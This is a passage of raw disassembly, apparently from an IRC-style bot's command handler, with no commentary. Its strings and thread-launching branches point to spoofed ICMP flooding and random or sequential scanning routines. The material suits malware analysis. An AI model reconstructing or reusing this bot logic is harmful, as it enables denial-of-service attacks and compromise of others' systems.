		push	offset dword_435240
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40F7C1:				; CODE XREF: sub_40CD3A+2A4Dj
					; sub_40CD3A+2A64j ...
		push	[ebp+arg_10]
		call	sub_41587F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_FFC], eax
		jle	loc_40F8E3
		push	edi
		lea	eax, [ebp+var_1104]
		push	esi
		push	eax
		call	sub_41588A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1184]
		push	esi
		push	eax
		call	sub_41588A
		push	[ebp+arg_0]
		call	sub_41587F
		mov	[ebp+var_1000],	eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1188],	eax
		lea	eax, [ebp+var_1084]
		push	esi
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_FF8], ebx
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FF0], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40F858
		mov	eax, offset aNormal ; "Normal"


loc_40F858:				; CODE XREF: sub_40CD3A+2B17j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_4351E8
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Ch
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_1004],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1188]
		push	ebx
		push	eax
		push	offset sub_401BD4
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1004]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40F8D9
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435198
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40F8D1:				; CODE XREF: sub_40CD3A+2BA5j
		push	32h
		call	dword_421060	; Sleep


loc_40F8D9:				; CODE XREF: sub_40CD3A+2B84j
		cmp	[ebp+var_FEC], ebx
		jz	short loc_40F8D1
		jmp	short loc_40F8F6
; ---------------------------------------------------------------------------


loc_40F8E3:				; CODE XREF: sub_40CD3A+2A98j
		push	offset dword_435148


loc_40F8E8:				; CODE XREF: sub_40CD3A+1B59j
					; sub_40CD3A+1C63j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40F8F6:				; CODE XREF: sub_40CD3A+1C2Bj
					; sub_40CD3A+1C3Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	[ebp+var_4]


loc_40F903:				; CODE XREF: sub_40CD3A+3776j
		lea	eax, [ebp+var_2D8]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_40F913:				; CODE XREF: sub_40CD3A+505Ej
		call	sub_412BD1
		add	esp, 14h
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_40F920:				; CODE XREF: sub_40CD3A+2614j
					; sub_40CD3A+262Bj ...
		cmp	dword_43C640, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40FA2B
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_590], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_594], eax
		lea	eax, [ebp+var_628]
		push	edi
		push	eax
		call	sub_416BE0
		push	[ebp+arg_18]
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_5A8], eax
		call	sub_41587F
		push	[ebp+arg_10]
		mov	[ebp+var_5A4], eax
		call	sub_41587F
		push	7Fh
		mov	[ebp+var_5A0], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_6A8]
		push	eax
		call	sub_416BE0
		push	[ebp+var_5A0]
		lea	eax, [ebp+var_628]
		mov	[ebp+var_6AC], esi
		push	[ebp+var_5A4]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_5A8]
		push	offset unk_4350E8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Eh
		push	eax
		call	sub_414DDA
		add	esp, 48h
		mov	[ebp+var_598], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6AC]
		push	ebx
		push	eax
		push	offset sub_40A133
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_598]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40FA1E
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435098
		jmp	loc_4105A5
; ---------------------------------------------------------------------------


loc_40FA16:				; CODE XREF: sub_40CD3A+2CEAj
		push	32h
		call	dword_421060	; Sleep


loc_40FA1E:				; CODE XREF: sub_40CD3A+2CC9j
		cmp	[ebp+var_58C], ebx
		jz	short loc_40FA16
		jmp	loc_4105B4
; ---------------------------------------------------------------------------


loc_40FA2B:				; CODE XREF: sub_40CD3A+2BEFj
		push	1FFh
		lea	eax, [ebp+var_2D8]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416BE0
		jmp	loc_4105B1
; ---------------------------------------------------------------------------


loc_40FA46:				; CODE XREF: sub_40CD3A+25CFj
					; sub_40CD3A+25E6j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_590], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_594], eax
		lea	eax, [ebp+var_628]
		push	edi
		push	eax
		call	sub_416BE0
		push	[ebp+arg_18]
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_5A8], eax
		call	sub_41587F
		push	[ebp+arg_10]
		mov	[ebp+var_5A4], eax
		call	sub_41587F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_5A0], eax
		jz	short loc_40FAAB
		push	esi
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_59C], eax
		jmp	short loc_40FAB1
; ---------------------------------------------------------------------------


loc_40FAAB:				; CODE XREF: sub_40CD3A+2D60j
		mov	[ebp+var_59C], ebx


loc_40FAB1:				; CODE XREF: sub_40CD3A+2D6Fj
		push	7Fh
		lea	eax, [ebp+var_6A8]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		push	[ebp+var_5A0]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_628]
		mov	[ebp+var_6AC], esi
		push	[ebp+var_5A4]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_5A8]
		push	offset dword_435020
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Fh
		push	eax
		call	sub_414DDA
		add	esp, 30h
		mov	[ebp+var_598], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6AC]
		push	ebx
		push	eax
		push	offset sub_40A2BF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_598]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40FB58
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434FD0
		jmp	loc_4105A5
; ---------------------------------------------------------------------------


loc_40FB50:				; CODE XREF: sub_40CD3A+2E24j
		push	32h
		call	dword_421060	; Sleep


loc_40FB58:				; CODE XREF: sub_40CD3A+2E03j
		cmp	[ebp+var_58C], ebx
		jz	short loc_40FB50
		jmp	loc_4105B4
; ---------------------------------------------------------------------------


loc_40FB65:				; CODE XREF: sub_40CD3A+25A1j
					; sub_40CD3A+25B8j
		push	8
		call	sub_41501C
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41587F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FBB5
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2D8]
		push	offset dword_434F78
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		jmp	loc_410FD3
; ---------------------------------------------------------------------------


loc_40FBB5:				; CODE XREF: sub_40CD3A+2E47j
		push	edi
		call	sub_41587F
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_45C], eax
		call	sub_41587F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_470], eax
		jnb	short loc_40FBEE
		xor	eax, eax
		inc	eax
		mov	[ebp+var_470], eax


loc_40FBEE:				; CODE XREF: sub_40CD3A+2EA9j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FBFB
		mov	[ebp+var_470], ecx


loc_40FBFB:				; CODE XREF: sub_40CD3A+2EB9j
		push	[ebp+arg_10]
		call	sub_41587F
		mov	[ebp+var_46C], eax
		mov	eax, 1F4h
		cmp	[ebp+var_46C], eax
		pop	ecx
		jbe	short loc_40FC1D
		mov	[ebp+var_46C], eax


loc_40FC1D:				; CODE XREF: sub_40CD3A+2EDBj
		or	[ebp+var_458], 0FFFFFFFFh
		cmp	dword_427388, ebx
		mov	[ebp+arg_10], ebx
		jz	short loc_40FC73
		mov	[ebp+arg_24], offset dword_427388


loc_40FC36:				; CODE XREF: sub_40CD3A+2F1Bj
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FC59
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40FC36
		jmp	short loc_40FC73
; ---------------------------------------------------------------------------


loc_40FC59:				; CODE XREF: sub_40CD3A+2F0Dj
		mov	eax, [ebp+arg_10]
		mov	ecx, eax
		mov	[ebp+var_458], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427388[ecx]
		mov	[ebp+var_474], ecx


loc_40FC73:				; CODE XREF: sub_40CD3A+2EF3j
					; sub_40CD3A+2F1Dj
		cmp	[ebp+var_474], ebx
		jz	loc_411AD3
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40FCBA
		cmp	byte ptr [edi],	23h
		jz	short loc_40FCBA
		push	edi
		lea	eax, [ebp+var_588]
		push	10h
		push	eax
		call	sub_41588A
		push	78h
		push	edi
		call	sub_416F20
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_448], eax
		jmp	loc_40FD8E
; ---------------------------------------------------------------------------


loc_40FCBA:				; CODE XREF: sub_40CD3A+2F4Ej
					; sub_40CD3A+2F53j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40FCDC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40FCDC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40FCDC
		push	offset dword_434F28
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40FCDC:				; CODE XREF: sub_40CD3A+2F86j
					; sub_40CD3A+2F8Ej ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43C4F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_CC], eax
		push	[ebp+var_CC]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40FD88
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416EE0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40FD7C


loc_40FD5A:				; CODE XREF: sub_40CD3A+3040j
		cmp	eax, ebx
		jz	short loc_40FD7C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_588]
		push	30h
		push	eax
		call	sub_416EE0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40FD5A


loc_40FD7C:				; CODE XREF: sub_40CD3A+301Ej
					; sub_40CD3A+3022j
		mov	[ebp+var_448], 1
		jmp	short loc_40FD8E
; ---------------------------------------------------------------------------


loc_40FD88:				; CODE XREF: sub_40CD3A+2FF8j
		mov	[ebp+var_448], ebx


loc_40FD8E:				; CODE XREF: sub_40CD3A+2F7Bj
					; sub_40CD3A+304Cj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_478], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_450], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_44C], eax
		mov	edi, 80h
		lea	eax, [ebp+var_578]
		push	edi
		push	eax
		call	sub_41588A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FDDF


loc_40FDCC:				; CODE XREF: sub_40CD3A+30C8j
		push	esi


loc_40FDCD:				; CODE XREF: sub_40CD3A+30B2j
		lea	eax, [ebp+var_4F8]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_40FE0A
; ---------------------------------------------------------------------------


loc_40FDDF:				; CODE XREF: sub_40CD3A+3090j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FDEE
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FDEE
		push	eax
		jmp	short loc_40FDCD
; ---------------------------------------------------------------------------


loc_40FDEE:				; CODE XREF: sub_40CD3A+30AAj
					; sub_40CD3A+30AFj
		mov	esi, offset dword_42C304
		push	offset byte_43B188
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FDCC
		mov	[ebp+var_4F8], bl


loc_40FE0A:				; CODE XREF: sub_40CD3A+30A3j
		cmp	[ebp+var_448], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FE1C
		mov	eax, offset aSequential	; "Sequential"


loc_40FE1C:				; CODE XREF: sub_40CD3A+30DBj
		push	[ebp+var_45C]
		lea	ecx, [ebp+var_588]
		push	[ebp+var_46C]
		push	[ebp+var_470]
		push	[ebp+var_474]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_434E98
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	8
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_588]
		push	ebx
		push	eax
		push	offset sub_4078DF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_468]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40FEAD
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434E48
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40FEA5:				; CODE XREF: sub_40CD3A+3179j
		push	32h
		call	dword_421060	; Sleep


loc_40FEAD:				; CODE XREF: sub_40CD3A+3158j
		cmp	[ebp+var_444], ebx
		jz	short loc_40FEA5
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40FEBA:				; CODE XREF: sub_40CD3A+2561j
					; sub_40CD3A+2578j
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4416E0[eax], bl
		jz	loc_412818
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		call	sub_415B10
		push	edi
		mov	esi, eax
		call	sub_415B10
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		lea	eax, [ebp+var_2D8]
		push	esi
		push	offset dword_434E38
		push	eax
		call	sub_415316
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_412818
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412BD1
		push	edi
		call	sub_41587F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4414C8[eax], 73h
		jnz	loc_412818
		push	esi
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4416E0
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40FFA2:				; CODE XREF: sub_40CD3A+3362j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		jmp	loc_411F81
; ---------------------------------------------------------------------------


loc_40FFCC:				; CODE XREF: sub_40CD3A+2533j
					; sub_40CD3A+254Aj
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4416E0[eax], bl
		jz	loc_412818
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		call	sub_415B10
		push	edi
		mov	esi, eax
		call	sub_415B10
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_412818
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412BD1
		push	edi
		call	sub_41587F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4414C8[eax], 73h
		jnz	loc_412818
		push	esi
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4416E0
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40FFA2
; ---------------------------------------------------------------------------


loc_4100A1:				; CODE XREF: sub_40CD3A+2505j
					; sub_40CD3A+251Cj
		push	edi
		call	dword_43C594
		push	[ebp+arg_18]
		mov	[ebp+var_388], eax
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_394], eax
		call	sub_41587F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_390], eax
		lea	eax, [ebp+var_414]
		mov	[ebp+var_418], esi
		push	eax
		call	sub_416BE0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_380], edi
		push	[ebp+var_390]
		mov	[ebp+var_37C], eax
		push	[ebp+var_394]
		push	[ebp+var_388]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_434DC8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	8
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_38C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_418]
		push	ebx
		push	eax
		push	offset sub_4143AF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_410186
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434D78
		jmp	loc_411D70
; ---------------------------------------------------------------------------


loc_41017E:				; CODE XREF: sub_40CD3A+3452j
		push	32h
		call	dword_421060	; Sleep


loc_410186:				; CODE XREF: sub_40CD3A+3431j
		cmp	[ebp+var_378], ebx
		jz	short loc_41017E
		jmp	loc_411D7F
; ---------------------------------------------------------------------------


loc_410193:				; CODE XREF: sub_40CD3A+24D7j
					; sub_40CD3A+24EEj
		push	edi
		call	sub_41587F
		push	7Fh
		mov	[ebp+var_EDC], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_FE0]
		push	eax
		call	sub_416BE0
		push	[ebp+arg_0]
		call	sub_41587F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EE0], eax
		lea	eax, [ebp+var_F60]
		push	80h
		push	eax
		mov	[ebp+var_FE8], esi
		call	sub_41588A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_ECC], eax
		push	[ebp+var_EE0]
		lea	eax, [ebp+var_FE0]
		mov	[ebp+var_ED0], edi
		push	eax
		push	[ebp+var_EDC]
		push	esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_434D28
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		call	sub_414DDA
		add	esp, 24h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	ebx
		push	eax
		push	offset sub_407B36
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_41027F
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434CD0
		jmp	loc_411D70
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40CD3A+354Bj
		push	32h
		call	dword_421060	; Sleep


loc_41027F:				; CODE XREF: sub_40CD3A+352Aj
		cmp	[ebp+var_EC8], ebx
		jz	short loc_410277
		jmp	loc_411D7F
; ---------------------------------------------------------------------------


loc_41028C:				; CODE XREF: sub_40CD3A+24A9j
					; sub_40CD3A+24C0j
		push	0FFh
		lea	eax, [ebp+var_D34]
		push	edi
		push	eax
		call	sub_416BE0
		push	0FFh
		lea	eax, [ebp+var_C34]
		push	[ebp+arg_18]
		push	eax
		call	sub_416BE0
		push	[ebp+arg_0]
		mov	[ebp+var_B30], ebx
		call	sub_41587F
		mov	[ebp+var_B2C], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4102E8
		push	10h
		push	ebx
		push	eax
		call	sub_416930
		add	esp, 0Ch
		mov	[ebp+var_B24], eax
		jmp	short loc_4102EE
; ---------------------------------------------------------------------------


loc_4102E8:				; CODE XREF: sub_40CD3A+3598j
		mov	[ebp+var_B24], ebx


loc_4102EE:				; CODE XREF: sub_40CD3A+35ACj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_410305
		push	esi
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_B28], eax
		jmp	short loc_41030B
; ---------------------------------------------------------------------------


loc_410305:				; CODE XREF: sub_40CD3A+35BAj
		mov	[ebp+var_B28], ebx


loc_41030B:				; CODE XREF: sub_40CD3A+35C9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_B20], eax
		lea	eax, [ebp+var_DB4]
		mov	[ebp+var_DB8], esi
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_B18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B1C], eax
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset unk_434C8C
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_2D8]
		push	15h
		push	eax
		call	sub_414DDA
		add	esp, 28h
		mov	[ebp+var_B34], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_DB8]
		push	ebx
		push	eax
		push	offset sub_40BBF7
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_B34]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4103BC
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434C38
		jmp	loc_4105A5
; ---------------------------------------------------------------------------


loc_4103B4:				; CODE XREF: sub_40CD3A+3688j
		push	32h
		call	dword_421060	; Sleep


loc_4103BC:				; CODE XREF: sub_40CD3A+3667j
		cmp	[ebp+var_B14], ebx
		jz	short loc_4103B4
		jmp	loc_4105B4
; ---------------------------------------------------------------------------


loc_4103C9:				; CODE XREF: sub_40CD3A+247Bj
					; sub_40CD3A+2492j
		push	7Fh
		lea	eax, [ebp+var_1A38]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_19B8]
		push	[ebp+arg_18]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1938]
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_18B8]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_1830],	eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1A3C],	eax
		lea	eax, [ebp+var_2D8]
		push	edi
		push	offset dword_434BF8
		push	eax
		mov	[ebp+var_1834],	esi
		call	sub_415316
		add	esp, 44h
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414DDA
		add	esp, 0Ch
		mov	[ebp+var_1838],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1A3C]
		push	ebx
		push	eax
		push	offset sub_40182F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1838]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4104BD
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_434BA8
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_4104A5:				; CODE XREF: sub_40CD3A+378Bj
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	esi
		jmp	loc_40F903
; ---------------------------------------------------------------------------


loc_4104B5:				; CODE XREF: sub_40CD3A+3789j
		push	32h
		call	dword_421060	; Sleep


loc_4104BD:				; CODE XREF: sub_40CD3A+374Ej
		cmp	[ebp+var_182C],	ebx
		jz	short loc_4104B5
		jmp	short loc_4104A5
; ---------------------------------------------------------------------------


loc_4104C7:				; CODE XREF: sub_40CD3A+2436j
					; sub_40CD3A+244Dj ...
		push	7Fh
		lea	eax, [ebp+var_1CC8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1C48]
		push	[ebp+arg_18]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1BC8]
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1B48]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		push	20h
		lea	eax, [ebp+var_1AC8]
		push	[ebp+arg_8]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1A48],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1A44],	eax
		lea	eax, [ebp+var_2D8]
		push	edi
		push	offset unk_434B60
		push	eax
		mov	[ebp+var_1CD0],	esi
		call	sub_415316
		add	esp, 50h
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414DDA
		add	esp, 0Ch
		mov	[ebp+var_1CCC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1CD0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1CCC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4105CE
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B10


loc_4105A5:				; CODE XREF: sub_40CD3A+2CD7j
					; sub_40CD3A+2E11j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316


loc_4105B1:				; CODE XREF: sub_40CD3A+2D07j
		add	esp, 0Ch


loc_4105B4:				; CODE XREF: sub_40CD3A+2CECj
					; sub_40CD3A+2E26j ...
		cmp	[ebp+var_8], ebx
